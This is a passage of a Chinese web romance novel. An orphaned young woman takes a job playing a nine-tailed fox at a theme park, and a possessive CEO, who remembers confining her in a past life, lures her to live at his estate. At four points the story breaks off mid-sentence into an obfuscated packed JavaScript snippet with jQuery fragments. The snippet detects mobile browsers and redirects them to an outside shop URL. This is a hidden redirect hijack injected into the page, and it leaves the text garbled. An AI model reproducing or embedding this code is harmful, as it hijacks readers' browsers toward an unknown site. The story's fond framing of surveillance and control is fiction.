也不知道是她自带好运还是长得太惹眼,往常摆好几个小时都无人问津的宣传点,竟陆陆续续聚集起不少人。
“周岚啊,你们这次怎么还带外挂了?”隔壁宣传点的工作人员羡慕不已,“照这势头,看来你们今天可以早点下班咯。”
周岚笑笑不说话,她自然看得出来,不少游客都是冲着这个小姑娘来的。毕竟长得漂亮、说话又甜,还笑容可掬的“年画娃娃”总是能引人注目的。
快到中午,果茶蹭别人的手机看了看时间,笑着跟周岚说:“姐姐我要走啦,下午还得去找兼职……”
正在整理资料的周岚手上动作一顿,“你在找兼职?”
果茶点头。
周岚迟疑两秒,从宣传册下方抽出一张景区特色指南,指尖轻点右下角的小框,“我们刚好有个项目正在招人,你要不要试试?”
果茶顺着她的动作看过去:【百年古镇,越山之巅,魑魅魍魉,浮生皆梦。越山5A级景区首次试点打造“山海经”国潮主题乐园,敬请期待!】
*
填完报名表,在周岚的盛情邀请下,果茶同他们一行人在附近一家海鲜炒饭店,吃了顿饭。
聊天中,果茶才知道,原来周岚他们是越山景区文旅宣传部的工作人员,想趁着文化旅游节到来之际为新项目预热,通过山海经角色扮演及真人NPC互动来吸引游客。
小荷扒完最后一口饭,擦了擦嘴,一把握住果茶的手,“妹妹!你这个长相,非常适合扮演我们景区的小灵狐!你一定要来,答应我们好不好?”
果茶嘴里塞得满满当当,鼓着腮帮子重重点了点头。
她对小荷还有岚姐说的那些并不太懂,也不知道角色该如何扮演,她只知道加入他们“日薪两百、包三餐、而且食堂的饭特别特别好吃”,有什么能比吃到好吃的饭更重要吗?
“好,我们还要回去跟领导汇报一下,到时候等我们通知”,周岚将果茶留下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208050|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的两个手机号再次确认了一遍,“打不通的话就打你叔叔的电话,对吧?”
“嗯嗯!”果茶跟着他们一同起身。
周岚先行一步推开饭店大门,“那我们就先走了,回见。”
-
与周岚等人道别后,果茶路过昨天与程司屿一起进去过的私人俱乐部,这里只有录过面部信息的会员才能入内。
果茶下意识往里张望几眼。
“诶,您是昨晚与程总一起的那位女士吗?”
正巧有工作人员交接下班,看到果茶,眼前一亮。
果茶灵机一动,顺势向他打听起江知渺的去向。
但到底只是普通的工作人员,不允许也不可能获得会员的联系方式,更何况像程司屿和江知渺这样日理万机的人物,如何能掌握他们的动向?
见果茶看起来确实有些失落,工作人员于心不忍,犹豫数秒,试探性地提议道:“你要不去流金岁月碰碰运气,我隐约听同事说过,江少经常去那里聚会。”
*
天色渐暗,华灯初上。
站在“流金岁月”的门口,望向金碧辉煌、恍若白昼的大厅,果茶紧张地握住背包带,指尖攥得发白。
“流金岁月”是花城最负盛名的高端商务会所,从行色匆匆的人影中,果茶第一次直观地感受到大都市的灯红酒绿与奢靡气息。
给自己打足了气,她终于迈出第一步。
但前脚刚踏入大门,后脚就被安保拦了下来。
“未成年人禁止入内。”
果茶瞪大眼睛,左右看了看,周围除了她以外没有任何人,她这才反应过来,安保口中“未成年人”指的自己。
她忙将身份证掏出来,“我、我成年了!”
其实倒不是果茶长得太幼龄,而是她身上有一股不谙世事的纯净,外加打扮有些土,浑然不像一个经常出入这种场合的名流该有的气质。
安保照着身份证上的照片反复对比一番,果然,出身小镇福利院、刚成年不久……
“有消费水平吗?”
果茶一愣,“没有钱不能进吗?”
安保无语地瞥了她一眼,“你觉得呢?”白瞎了那么漂亮的脸蛋,脑子却是傻的。
果茶“哦”了一声,完全没意识到对方语气中的鄙夷和不屑,“那……找人可以吗?”
安保不耐烦地拽着她的手臂往外推,“你咋不说你想找霸道总裁呢?小朋友不要捣乱,赶紧回家睡觉去!”
果茶被推着往外走,只能频频回头祈求道:“大哥我真的找人,我找一个叫江知渺的人,江知渺您知道吗……”
突然感觉撞到了一堵墙,果茶脑袋懵懵地转过头,还没看清身后是什么。
只见拽着她手臂的安保神色紧张地松开手,周围的安保人员竟也都一时间聚了过来。
“程总!”
5. 寄给茶茶的第5封信
果茶怔看了看毕恭毕敬鞠着躬的众人,又抬头看了看身前西装考究、不苟言笑的程司屿。
小姑娘哪里见过这么隆重的场面,脑子一抽,下意识也跟着鞠了一躬,“程总好。”
下一秒,额前覆上一只温热的大掌,“这么快就不认识我了吗?”
程司屿摸了摸果茶的脑袋,语气中莫名透出一丝委屈,“茶茶?”
看着眼前邻家哥哥般笑容温和的男人,果茶心中的拘谨一扫而空,“司屿哥哥!”
匆匆赶来迎接的大堂经理,面上堆积起谄媚的笑意,正要奉承几句,被男人抬手制止。
只见那位平日里漠然到目空一切的程氏集团掌权人,俯首望向怀里的女孩,耐心地低声询问:“茶茶,你怎么会在这儿?”
眼里似乎除了她,再也没有别的东西能分走他的注意力。
果茶“唔”了一声,实话实说:“我来这里找江知渺,但是那个大哥说我没钱,不让我进去……”
被果茶指到的安保顿时汗流浃背,支支吾吾半天,终是欲辩难言。
“哦?”程司屿顺着茶茶的视线睨了一眼,淡声道,“我竟不知会所还有这种要求?”
大堂经理干笑一声,点头哈腰:“绝不会有这种无理要求,想来是他刚来表达有误,我们一定会加强对员工的培训,程总您……”
“没事的没事的!”
果茶主动接下他的话,“那个大哥也只是在做本职工作而已,不要怪他……”
说罢,她扯了扯程司屿的袖口,“司屿哥哥你现在有空吗?我有话要跟你说。”
得到程司屿的肯定回复后,果茶在拖走他时,还不忘频频回头跟经理恳求:“一定不要扣大哥的工资,这很重要!”
惹得程司屿不由笑着揉了揉她的头发,“好了茶茶,知道了。”
见程总表情缓和,原本如履薄冰的一群人也终于跟着放松下来。
捡回一条小命的安保望着两人熟络的背影,一面感到庆幸,一面满脑子全是八卦:原来,她真的是来找霸总的啊……
*
“为什么找江知渺?”
听到程司屿的问询时,果茶没有觉察他话里的阴郁和酸涩。
她一五一十将自己的想法告诉对方,撑着脸颊叹了口气,“现在我也只能找他了,或许他能有我姐姐的线索。不过也不知道他会不会搭理我……”
“为什么不找我?”
“嗯?”果茶抬头,一脸懵懂地看向程司屿。
他站在包间的暗处,氛围灯将他的面部映照得忽明忽暗。
他再次沉声问道:“为什么不找我呢,茶茶?”
明明他已经抢占了先机,在与茶茶初见时就博得了十足好感。明明茶茶会信赖地叫他“司屿哥哥”,还说“讨厌江知渺”。明明他才是那个愿意为了茶茶做任何事也在所不辞的人……
为什么、为什么茶茶第一反应还是去找江知渺?
程司屿陷入一种魔怔般的回忆中,前世他不知道什么是爱,也不懂得如何爱人,他只知道,自己想要的就一定能得到。
起初他只是觉得茶茶很有趣,想要占为己有,于是将她哄骗到自己身边。
随着相处越深,他越无法控制内心强烈的占有欲,一念之差下竟将她软禁在半山别墅里,他以为这样,茶茶就不会与外界接触,就不会离开他了。
是江知渺,不惜动用江家的势力暗中与他抗衡,趁自己不得不在公司处理事务时,偷偷跑到半山试图带走茶茶。
他此前从不知道茶茶与江知渺的关系竟如此要好。是什么时候?什么时候他们的关系开始变得亲密起来的……
“因为你很忙呀!我知道,像你们这种做大生意的老板都是日理万机的。江知渺就不一样了,他看起来就游手好闲”,茶茶理所当然地鼓起腮帮子,愤愤不平道,“而且谁叫他害得我现在手机都没有修好呢,那我不得给他找点麻烦嘛……”
程司屿一怔,“就这样吗?”不是因为茶茶对他有着天然的好感吗?
果茶点了点头,“当然。”
一种前所未有的畅快涌上心尖,从阴郁到愉悦,只需要她的一句话。
程司屿早就知道,自己的喜怒哀乐,全由眼前的小姑娘掌控。
这种心脏还在跳动的感觉令人上瘾。
他单膝蹲在果茶身前,装作一副正人君子的模样,徐徐善诱道:“江知渺一向玩世不恭,即便答应你的事,也不一定会放在心上。”
唔,有道理……那怎么办呢……果茶蹙眉陷入沉思。
“茶茶,我能帮你找到你姐姐”,程司屿虔诚地凝视她的眸子,声音低缓而温柔,仿佛深海中的塞壬,带着蛊惑人心的煽诱力。
“任何事情,你都可以来找我。”
-
果茶端坐在沙发上,一脸严肃地操作着新手机。
尽管动作很生涩,但好在她脑袋灵光,没一会儿就已经掌握了新手机的基本用法。
这是程司屿硬塞给她的,果茶本百般推辞,是他说“替我那混不吝的弟弟赔礼道歉,收下这部手机,咱们以后就不用再跟江知渺有任何瓜葛了”。
果茶一想,对哦,司屿哥哥已经答应帮她留意姐姐的消息,他那般神通广大又温和有礼,可比去求江知渺靠谱多了。
收下新手机,江知渺扔她旧手机的“仇”也可以一笔勾销了,反正她也不想再和他扯上什么关系。当然,或许江知渺也是这样想的。
新手机的联系人里只有一个号码「A司屿哥哥」,是程司屿自己存进去的。
果茶将这串号码默念了好几遍,心中不禁想:司屿哥哥可真好。
尽管果果妈妈常说,“无事献殷勤,非奸即盗”,但人贵在有自知之明,茶茶自认为不如很多姐姐漂亮,而且还是个名副其实的穷光蛋。
与程司屿相比,她没财没色,怎么看,吃亏的都不会是她。
这么一反思,就安心多了。
程司屿似乎与人有事要谈,将她安置在这间安静的会客室后就离开了。
果茶百无聊赖地玩了会儿手机,一阵困意袭来,躺在沙发上东倒西歪地睡着了。
睁开眼时,婆娑的树影正在窗外飞速倒退。
“醒了?”
一束柔和的暖光在头顶亮起。
果茶“嗖”得弹起身,一低头,程司屿原本笔挺的西装裤上布了几道深浅不一的折痕。
“见你睡得太香,便没有叫醒你”,注意到果茶心虚的眼神,程司屿轻笑一声,“茶茶,你的睡姿可不算老实。”
果茶羞得无地自容,她都不知道自己睡着后会趴到别人腿上。
好在程司屿性子温和,或许是见自己着实愧疚,他还贴心地换了个话题。
前排开车的王麟透过车内后视镜偷看几眼,男人正在低头安抚小姑娘,隐约还能看见小姑娘泛红的耳根。
他笑而不语地收回视线,装作无事发生。
他才不会说,明明就是总裁把熟睡的女孩抱进车内后,故意让她躺在自己腿上的。
真是个老狐狸。
“今天参会碰到一个记者,她的背包上别了个和我一模一样的毛毡花。”
程司屿从西服的水滴袋中取出一个透明塑封袋,袋中丑萌的毛毡花躺在他的大掌上,莫名有种不和谐的幼稚。
这正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208051|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是果茶那天送给“后座好心哥哥”的见面礼,她有些惊讶,“你竟然还保留着呢?”
她以为他会丢掉,或者塞进一个暗无天日的黑匣子里吃灰。至少不会是像现在这样,放在最靠近心脏的地方,随身携带着。
“自然”,程司屿用指腹轻轻扫了下塑封袋,指尖按在花蕊的位置,抬眸看向果茶的眼睛,“很可爱,我很喜欢。”
对上面前那双波澜无惊的深邃星目,果茶心尖一颤,不知道为什么突然感到一丝慌乱。
她撇过头,赶紧岔开话头,“那个记者……是、是不是叫林鹿?”
程司屿“嗯”了一声,“你认识?”
果茶点头,向他解释起自己和林鹿的关系,语气中带着依赖,“她是非常非常好的姐姐,我考到花城也是因为有她在呢,她还说如果我来了花城,那她一定要做我最大的人脉。”
果茶学着林鹿的语气,说出这句意气风发但又很臭屁的发言时,与程司屿印象中的林鹿倒颇有几分相像。
程司屿眼底的情绪晦暗不明。
车停了。
车内的感应灯次第亮起,看到窗外熟悉的海边棕榈树,果茶面上一喜,“这么快就到啦!”
王麟转过头,笑着跟她打招呼,“又见面了,茶茶。”
“王叔叔!”
果茶惊呼一声,探过大半个身子去和王麟说话。两人如阔别数年的亲友一样,你一言我一语聊得火热。
茶茶明媚可爱,无论去哪儿、遇到谁,恐怕对方最终都会心甘情愿成为她的人脉。
一股郁气堵在程司屿的胸口,压得他几乎喘不过气,心底冉冉升起一道声音,疯狂叫嚣起来:把她藏起来,像前世一样,只有他一个人能守在她身边……
额上传来温热的柔软触感,将他拉回现实。
温暖散去,茶茶把刚碰过他的手心叠在自己额头,“也没发烧呀,司屿哥哥你身体不舒服吗?”
见他没搭话,她又凑上前,一脸担忧地问:“你……你不高兴吗?”
程司屿愣了几秒,闭着眼深吸一口气,直到勉强抑制住内心翻涌的情绪后,他单手撑在太阳穴,“可能是最近有些累了。”
他把头偏向另一侧,躲过果茶探究的目光,“茶茶,时候不早了,回家吧。”他怕她再不走,自己又会放不了手。
果茶敏锐地觉察到程司屿眼底的疲惫,他的工作已经很忙了,自己还总是给他添麻烦。
她点点头,下车前犹豫片刻,最终忍不住回头提醒他:“累了的话就要好好休息哦,钱是赚不完的,开心最重要啦!”
另一边,王麟已为她拉开车门,笑着向她摆手道别。
果茶下车,刚走没几步,身后突然传来低沉的声音,“茶茶。”
一转头,程司屿正靠站在车门旁,扬了扬手中的笔记本,“你的东西落下了。”
果茶下意识看了看自己的背包,不知何时开了一道口子。想来是睡觉时,不小心从包里掉出来了。
她一边拉好背包拉链,一边小跑着接过笔记本,正要道谢。
顺手翻开笔记本的动作一顿,视线停留在写了几行字的首页纸上。
「寻找枝枝姐计划人脉栏
方案一,找鹿姐姐帮忙打探消息。
方案二,找江知渺帮忙寻人。」
方案二已经被她一笔划掉了,下方却出现一栏完全不同于自己的字体。
那笔迹遒劲清癯、磅礴凌厉,分明写着——
「方案三,找程司屿做任何事,任由差遣。」
此时,一道温和的声音恰逢其时从头顶响起,“茶茶,让我也做你在这座城市的人脉,好吗?”
6. 寄给茶茶的第6封信
背阴山间凉风徐徐,吹散夏日的暑气。
竹林里簌簌的脚步声由远及近,幽径尽头的灌木丛中,冒出一对粉色的毛茸茸的狐狸耳。
“茶茶不要害羞!出来让大家瞧瞧效果怎么样嘛……”
正说着,果茶红着脸探出身子,身后的九条尾巴随着她的动作,小幅度晃了晃。
小荷捂住鼻尖,生怕某种温热的液体从鼻子里流了出来,“救命!!好可爱……”
妆造师单手托着化妆盘从工作间里跑出来,“等等,还差最后的花钿。”
寥寥几笔,勾勒出火红的桃花纹。
眼前的女孩长相清丽,只是简单的桃花妆就能让人眼前一亮,毛茸茸的九尾道具藏匿在藕粉羽纱袍衫里,身子微微晃动时带着外层的薄纱轻扬,整个人仙气飘飘。
“气质不对。”
周岚拧眉,绕着果茶打量一圈。
若单论长相,那茶茶自然是没得挑,但九尾狐是靠妩媚噬魂的妖兽。而茶茶的眼神,单纯得就像赤子,全然没有“勾魂”的邪念。
妆造师摸着下巴思索一番,“其实我给妹妹化妆的时候就感觉到和人设有点违和,为什么选她扮演狐狸精呢,玉兔不是更适合她吗?”
“你们不懂!”
始作俑者小周不服气地梗着脖子说:“现在要有反差才能吸引人,谁说九尾狐都是妩媚的,自以为狡黠狐媚却清澈愚蠢的笨蛋美人可火了,相信我的网感!”
周岚没工夫和她掰扯,既然当下角色都已经选定,至少需要几天时间磨合和演练。
她将懵懵懂懂的果茶带到景区排演室,和其他演职人员一同接受集中培训。
“山海经国潮主题乐园”是越山景区最新的引资项目,如果在文旅节试点期间能够激起水花,不仅有望获得政策专项扶持,在三个月后的招商大会上,更有可能吸引到不少投资,所以景区领导也寄予了厚望。
像白泽、麒麟、穷奇这些角色早已找到了合适人选,但九尾狐扮演者挑挑拣拣始终是“差了那么点感觉”,果茶是目前周岚最看好的人选。
演职培训课一直到晚上六点才结束。
果茶饿到前胸贴后背,和小荷冲到员工食堂饱餐一顿后,才总算恢复以往的活力。
“我就是个项目策划,还是团队最底层的那种,为什么也这么累。”小荷瘫在座椅上,感叹了几句。
突然,她一个鲤鱼打挺,“茶茶!你是不是没有被安排住宿?”
果茶将手边最后一口冷饮喝完,乖巧地点了点头,“岚姐说因为我只是兼职,后勤部那边的员工宿舍批不下来。”
“那你得赶紧坐班车下山了,六点后车次会很少的!”
小荷径直拽起果茶的手腕,往景区员工出口方向狂奔起来。
山里日落得更快,才六点半不到,天色已经变成了灰蓝,一抹斜阳交叠在袅袅炊烟中。
将不识路的茶茶带到班车接送点,在对方催促下,小荷依依不舍地返回园区。
目送她的身景消失在假山背面,果茶才挪着步子站到大巴指示牌下。
景区的大巴七点半后停运,员工专车六点后半小时一趟,七点结束。
果茶松了口气,还来得及。
这里与杨叔家一个城南一个城北,坐大巴下山后再坐地铁,几乎需要两个小时。
她想了想,跟杨叔打了个报备电话。
刚挂断,一辆车从眼前飞驰而过。
十几秒后,又缓缓倒退回她的面前。
“茶茶?”
车窗降下来,程司屿矜贵冷峻的面容在开口的一瞬间,冰霜化作雾霭。
他的嘴角勾起一抹不易察觉的弧度,“好巧,又见面了。”
*
距离上次程司屿说完那句话后,已经过去了两日。
茶茶嘴上应得好听,实际上根本没将他的话放在心上,否则也不可能好几天都不与他联系。
他原本想着,多给她一些消化的时间。
可煎熬的是他自己。
与茶茶分离的一分一秒都让他难以忍受,更何况是以“天”为量词的时长。
不能再等,否则茶茶能将他这号人全然抛之脑后,下次再见面时,又回他一句没心没肺的“程总好”。
“怎么在这儿?”
程司屿招了招手,“这里不便乘车,我送你吧。”
她还想问他呢,他怎么会在这里?而且还是这个时间点,未免也太巧了些。
似乎看透了果茶的疑虑,程司屿面色如常地解释道:“我有一处住宅就在半山,偶尔会来这儿临时落脚。”
“滴滴”
大巴催促的喇叭声,在程司屿的车后响起。果茶飞速瞟了一眼,不是她要等的那辆班车。
担心轿车临时停靠在这里会挡路,她并作两步跑过去拉开车门,动作迅速地溜进车内。
“谢谢司屿哥哥,又要麻烦你了……”
刚一坐下,王麟打了个方向盘,车头调转到下山方向。
始料未及的果茶顺着那股力,扑倒在程司屿怀中。
“小心。”
程司屿双手扶住果茶的胳膊,“没事吧……”
随着茶茶缓缓抬头,他的话音渐弱。
她化妆了。以往素颜朝天时就足够可爱漂亮,打扮后的她更是粉雕玉琢,让人难以移开视线。
“这个妆好看吗?”
果茶将脸凑到程司屿面前,得意地摇头晃脑起来。
程司屿还没反应过来,茶茶突然敛了笑,扑到他的身前,两只小手微曲,一前一后慢悠悠地搭在他的肩膀上。
“主人,请尽情吩咐夭夭吧~”
果茶用头顶蹭了蹭他的下巴,随后,若即若离地移开身子。
刚刚蹭过人的头发稍显凌乱地落在两颊,微微遮住那双湿漉漉的眼睛。她微仰起头,顺势眯起眼,原本清澈如稚子般的眼眸水波流转,竟当真像只勾魂的小狐狸。
一股微弱的电流毫无章法地在程司屿体内震颤,喉间干涩得几乎说不出话,他的喉结艰难地动了动,“茶茶,坐好。”
车内的黑色隔断玻璃在他的话语间陡然升起。
后座车厢越发安静,像风
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208052|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
平浪静的海面,但假象背后是随时可能翻涌的惊涛骇浪。
果茶没有察觉到空气中氤氲的异常波动,但还是乖顺地“哦”了一声,她听从程司屿的话,两手交叠放在腿上,小学生坐姿一样规规矩矩地坐好。
茶茶柔软的发丝蹭在自己脸上的触感,似乎还未消散,程司屿努力克制住想要拥她入怀的冲动,平息几分后,开口道:“你……”
“你是不是也觉得我演得不好!”果茶气鼓鼓地扭过头,瞪了他一眼。
程司屿一愣,“为何这么说?”
“我问你我这个妆好不好看,你没回答。对着你演练角色台词,你也没反应……”果茶掰着手指一一数落,最后得出一个结论,“你肯定也觉得我不适合这个角色!”
“也?”
难道茶茶还以这幅明媚的面容、用这样亲昵的姿势,面对过其他人?
“景区的岚姐,还有培训老师,都觉得我演得像小孩子过家家,没有狐狸的神韵。”
陡然想起来还没有跟程司屿说过,她找了份景区演职的工作。
于是,茶茶有些泄气地解释道:“我在刚才那个景区做兼职,扮演九尾狐与游客互动,不过可能做不了两天,就要被赶走了……”
这些信息程司屿自然知道,他安排了助理每日向自己汇报茶茶的大致动向。但又怕最终会演化成前世那样扭曲阴暗的控制欲,于是,只能忍着不去过问茶茶日常的细枝末节。
只是没想到,兼职需要做这些内容。虽难以接受,但程司屿也不愿打击小女孩的自信心。
他不赞同地蹙眉,“怎么会?茶茶演得很好。”若是敢赶走茶茶,这次投资也别想要了。
“那你为什么刚才都没有反应!”
又回到了这个难缠的话题。
总不能说自己真真切切被小姑娘青涩的演技给勾了魂吧?
程司屿放缓语气,“因为事发突然。现在回想起来,茶茶刚才的表现,的确做到了人物和角色的交融。”
说得倒是一本正经。果茶狐疑地看了他一眼,基于对他人品的信任,最终心安理得地接受了他的夸赞,“司屿哥哥这么说,一定有自己的道理。这说明我还是很有天赋的呢!”
见茶茶重展笑颜,程司屿提起的心回落几分,淡淡笑道:“那是自然。”
从僻静幽深的景区到灯红酒绿的都市,原本快一小时的大巴路程,生生缩短了一半。
“还是汽车快呀。”果茶转过身子看向窗外,一时感叹,“也不知道从这儿开到云山镇,得要多长时间呢?”
她有些想念果果妈妈了。
“两个小时四十八分钟”。
“嗯?”果茶扭过头,她听到了程司屿的喃喃自语,但具体说了什么,听得并不真切,“司屿哥哥,你刚才说什么?”
程司屿挑了下眉,定定望着她,“我说……茶茶你愿不愿意暂住在半山?”
“那里离你兼职的景区较近,或许通勤会更方便一些。”
看到茶茶呆愣的表情,他的嘴角扬起浅浅的弧度,柔声说:“放心,我很少住在那边。”
7. 寄给茶茶的第7封信
保姆车驶入程司屿家时,夕阳正好。
沉沉暮霭笼罩着整座庄园,精巧僻静,恍若隔世。
此时的果茶全然没有意识到事情的严重性,还笑着向王麟保证:“王叔叔你放心,我绝对不会白住的,我干活可利索了,肯定可以将司屿哥哥家,里里外外都打扫得干干净净……”
她原本是绝对不好意思暂住在认识不过几日的异性家中,尽管这个异性善良温柔,好似自家哥哥般亲切。
但架不住王麟的软磨硬泡,什么“房子里冷冷清清,程总也时常不回家,他一个留守老人死里面了都无人知晓”,说得果茶无端想起了福利院的果果妈妈。
一时心软的她,决定以“体力活”换“员工宿舍”,像家政阿姨那样帮程司屿家打扫卫生、做饭洗衣,这样就不算是白住了,也能减轻自己的心理负担。
“王叔叔,还没到吗?”
果茶将头伸出窗外,怎么感觉好像还没有出景区呢?
“早就到咯!”
王麟朝右甩了甩头,“刚才你说好看的那些花,就代表已经进住宅区咯,大概还得十几分钟到主院。”
听闻这些,果茶顺着他甩头的方向,不敢置信地望过去。
空旷的绿地,在残阳的照拂下熠熠生光。
什么?!
她以为的景区,原来不过是人家家中布景。想起自己刚才信誓旦旦的发言,果茶顿时汗流浃背。
她一个人干到死,也打理不了这么大的地方啊。能不能收回刚才的话,顺便让王叔将她打包扔出去……
茶茶的表情太生动,以至于王麟毫不费力地猜出她的心思。
他忍不住笑出声,又担心茶茶误会自己是在嘲笑后,向程总“告状”。
王麟忙虚虚握拳,挡住自己的笑意,轻咳一声:“茶茶,这些区域都有专人打理,您就高抬贵手,不要抢了他们的饭碗吧。”
没等果茶作何反应,保姆车平稳停下。
“未来茶茶要住的地方,到咯。”
*
“程总不常来这儿住,你就当是自己家,想做什么做什么。”
带着茶茶随意参观了一层的会客厅、休闲区后,王麟便将她引到二楼的起居室。
推开一扇门,斜阳正透过巨大的落地窗,铺洒在鱼肚白大理石地板上,如浮光跃金。
“这就是茶茶的房间”,王麟将果茶的行李箱放到门旁,“还喜欢吗?”
话虽这么问,但王麟也只是随口客套一番。因为他知道,这可是程总连着几夜布置的成果,想来他应该早就把小姑娘的喜好琢磨透了,问题不大。
看着温馨通透的房间,不知怎的,果茶心中压过万重山,几乎快要喘不过气来。
这屋子……有种异常熟悉的感觉。
可她怎么可能来过这样的地方?
果茶微微摇头,走到窗前。
透过这面窗,楼下的风光一览无余,远远望去,还能隐隐瞧见院子外,有人正在修剪花圃的枝丫。
眼见小姑娘的表情似乎有些凝重,王麟心中一紧,“要是不满意,茶茶想改成什么样?大胆说,程总都会同意的……”
“我住的地方是不是太好了些”,果茶莫名有些惶恐,她不是来做家政的吗?况且,一路过来,她看到不少佣人保姆,怎么可能会像王叔叔说的那样,“死里面了都无人知晓”。
她是不是被骗了……
王麟人精似的,瞬间领会到果茶心中所想,“那倒不是特例,程总一向待人宽厚,只要是住家保姆,那住宿条件都是一等一的好。”
“这里也没别的好,就是房间多,不信的话,要不带茶茶去别的房间看看?”
说着,他就要领果茶往门外走,颇有一种“骗你这个小姑娘,我大半辈子白干”的正气凛然。
果茶顿时耳根有些发烫。果然是她自作多情了。
“不、不用了……”她试图转移话题,“程总他不经常来这里吗?”
窗外,与果茶房间相对的邻栋别墅二层,一道影影绰绰的高大身形,隐匿在窗帘的暗面,很难叫人察觉。
“对”,王麟不动声色地收回视线,“他不常来,只是偶尔在附近办事才会过来落脚。”
这句话其实放在以前倒也没错,半山庄园买了有些年头,对程司屿来说或许只是一种不动产的投资。
但自从遇到了果茶,他便每日都会来这里小住,好像紧绷的神经只有在这里,才会得到短暂的慰藉。
“对了茶茶,你最好还是不要当着程总的面,叫他程总……”
在果茶困惑的表情下,王麟一脸诚恳地说:“我看得出来,程总把你当亲妹妹似的,你那样叫他太生分了,他恐怕还是更喜欢你叫他哥哥。”
有道理。陡然想起那天在会所,自己随众人喊他“程总”,他看起来好像的确不太高兴。
果茶狠狠点了点头,“好,那我以后就一直叫他司屿哥哥!”
退出果茶房间后,王麟压住上扬的嘴角,在心中默默给自己竖了个大拇指。
这下程总可不得感激涕零地给他涨工资!
刚踏进院子,耳上的受话器里传出一道清泠的声音——
“谁说我把她当亲妹妹了?”
王麟下意识仰头望向那层楼。帘后早已没了那道熟悉的身影。
“多话。”
*
文旅节首日,越山景区“山海经国潮主题项目”正式启动。
也许是前段时间的预热钓足了胃口,今天入园的游客格外多。
听闻会有市领导及不少资方莅临参观,果茶不敢松懈,谨记“时刻维持九尾狐人设”的叮嘱。
角色本应是“流动解锁”的形式,可她还没来得及换地图,在园区门口就被一群热情的大爷大妈逮住合照。
“哎哟这小女娃娃,长得可真水灵,跟瓷娃娃似的!”大妈们夸起人来热情和蔼,简直让人难以招架。
拍走了一波人,几个小年轻又眼巴巴地等待合影,好像她是什么人形地标打卡点。
但果茶没有半分不耐,端着那股吐气如兰的姿态,没有骨头似的贴在女游客的身侧,用指尖勾起女孩的发丝,“你就不怕我吃了你?”
她若即若离地用下巴蹭了蹭女游客的脸颊,好似抱怨又好似嗔怪,“就顾着把玩你手里那块石头,你怎不敢正眼瞧瞧我?”
女游客正拿着“石头”一顿咔咔猛拍呢,听到果茶的话,红着脸将手机递给对面的同伴,还不忘使个眼色让同伴帮忙接着拍。
随后,偏头看了看果茶,四目相对之际,女游客壮着胆子凑到果茶脸颊“吧唧”一口,一边尖叫“啊啊啊好可爱搞到真的了”,一边又觉得社死拽着同伴逃之夭夭。
本来茶茶没将这个小插曲放在心上,可谁知开了个“坏头”,后面的游客也跟着纷纷效仿起来。
几个小时过去,果茶的额头、双颊、下巴,甚至是脖颈处都落满了各种色号的口红印。惹得那些只能拍照、不能近身的男游客们蠢蠢欲动。
“臭男人离我远些”,果茶双手抱胸,伸出一指隔开男游客贴过来的身体,一个眼刀飞过去,叫本该愠恼的男游客们也甘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208053|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之如饴。
毕竟,“欲擒故纵”是九尾狐夭夭的拿手把戏。
好不容易,要求合照的游客少了些,果茶正要转移阵地。
小荷突然在群里吼了一嗓子:“全体注意!!!领导和市企资方要在景区入口拍照留影!请各位妖魔鬼怪速速赶去集合!”
吓得果茶赶紧将手机塞回裙子边缝的口袋里,一抬头,一众人浩浩荡荡朝自己所在的方向走来。
为首的是一位身着深灰中山装的中年男人,景区负责人正站在他左侧,满脸堆笑地说着什么。
果茶了然,那位应该就是他们说的市领导。
她好奇地转了转眼,走在市领导右侧的竟是程司屿。
他少见地戴着一副金丝边眼镜,身穿深色西装,身姿挺拔颀长。
市领导偶尔转头跟他交流几句,他便沉下肩微微颔首,举手投足间透着从容不迫的矜贵。
同样是被人簇拥在中心,但今天的他,与会所那日所见又是不同的气场。消弭了觥筹交错下的玩世不恭,只剩上位者的凛凛岸然。
想到自己还顶着满脸的口红印,果茶默默将身子藏在男狐狸精同事身后,小声问:“有纸吗?”
